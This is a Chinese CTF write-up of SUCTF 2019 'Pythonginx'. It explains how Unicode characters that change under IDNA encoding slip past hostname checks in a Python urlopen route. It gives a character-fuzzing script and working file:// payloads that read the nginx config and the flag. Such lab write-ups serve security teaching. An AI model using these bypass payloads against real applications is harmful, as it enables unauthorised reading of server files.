2019SUCTF-Pythonginx 尝试 拿到题发现页面有一个简单的路由的源码,除此之外尝试了扫路径抓包等操作没有格外信息,那么就仔细来研究一下这段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @app.route('/getUrl', methods=['GET', 'POST']) def getUrl () : url = request.args.get("url" ) host = parse.urlparse(url).hostname if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen(finalUrl).read() else : return "我扌 your problem? 333" <!-- Dont worry about the suctf.cc. Go on! --> <!-- Do you know the nginx? -->
可以发现在line:19 存在一个urlopen().read()函数。那么题意应该就是绕过前面的限制最后执行读取一个文件内容。传入的url我们可以利用file协议把flag包含进来。这里提到了让我们不用担心suctf.cc,应该是将suctf.cc解析到了容器本机。
如何绕过? 首先我们需要知道这一段代码的处理效果,对urlparse一系列的函数的效果不是很清晰,于是把代码每一个参数都输出看看效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from urllib.parse import urlsplit, urlunsplit, unquotefrom urllib import parseimport urllib.requestdef getUrl () : url = "file://suctf.c/usr/nginx" host = parse.urlparse(url).hostname print('host:' +host) if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list(urlsplit(url)) print('parts:' +str(parts)) host = parts[1 ] print('host:' +host) if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] print('host.split:' +str(host.split('.' ))) for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) print('newhost[]:' +str(newhost)) parts[1 ] = '.' .join(newhost) print('parts[1]:' +parts[1 ]) finalUrl = urlunsplit(parts).split(' ' )[0 ] print('finalUrl:' +finalUrl) host = parse.urlparse(finalUrl).hostname print('host:' +host) if host == 'suctf.cc' : return urllib.request.urlopen(finalUrl).read() else : return "我扌 your problem? 333" print(getUrl())
s
即我们需要绕过前面2次的对host的判断,同时第三次满足host=’suctf.cc’
分析过程:
首先来看第一个suctf.cc,假设我们通过某种途径让它绕过了此条限制,那么在第二个suctf.cc限制到来之前,经过parts = list(urlsplit(url)),最后又取出parts[1],那么这里很明显只是分割又取出来的一个过程应该不存在漏洞,对urlsplit而言,专门去查一下是否存在漏洞?于是乎发现……
直接把出题思路给搜出来了….好叭,思路是这样,总之没查出关于urlsplit的漏洞。那么我们继续分析
经过第二个suctf.cc后对host进行了分割,比如suctf.ca 那么就把suctf.ca分割成sucef和ca
将这两部分进行一个encode-decode过程:h.encode('idna').decode('utf-8')
最后又拼接起来,替换了原来了host,再进行去除空格操作,最后又将完整的url解析出host字段,此时进行第三次判断。
捋一下思路:
这样一来就很明朗了,我们传入的url的host在经过h.encode('idna').decode('utf-8')
函数前不为’suctf’,处理后变成了’suctf’,查一下关于这个漏洞
会发现这是一个来自2019blackhat的议题——传送门
℆经过idna编码再用utf-8解码会变成c/u,同理还有很多可以利用的字符来实现对url一些字符的绕过
Fuzz脚本 随手网上搜索到的一个脚本
1 2 3 4 5 6 7 8 9 10 for i in range(65537 ): tmp=chr(i) try : res = tmp.encode('idna' ).decode('utf-8' ) if ("-" ) in res: continue print("U:{} A:{} ascii:{} " .format(tmp, res, i)) except : pass
Payload 题目给出了环境提示Nginx,Nginx安装完的默认配置文件路径:/usr/local/nginx/conf/nginx.conf
从中随便挑一个可替换suctf.cc中的字符复制过去如:
?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
读取配置信息得到flag路径
?url=file://suctf.cℂ/usr/fffffflag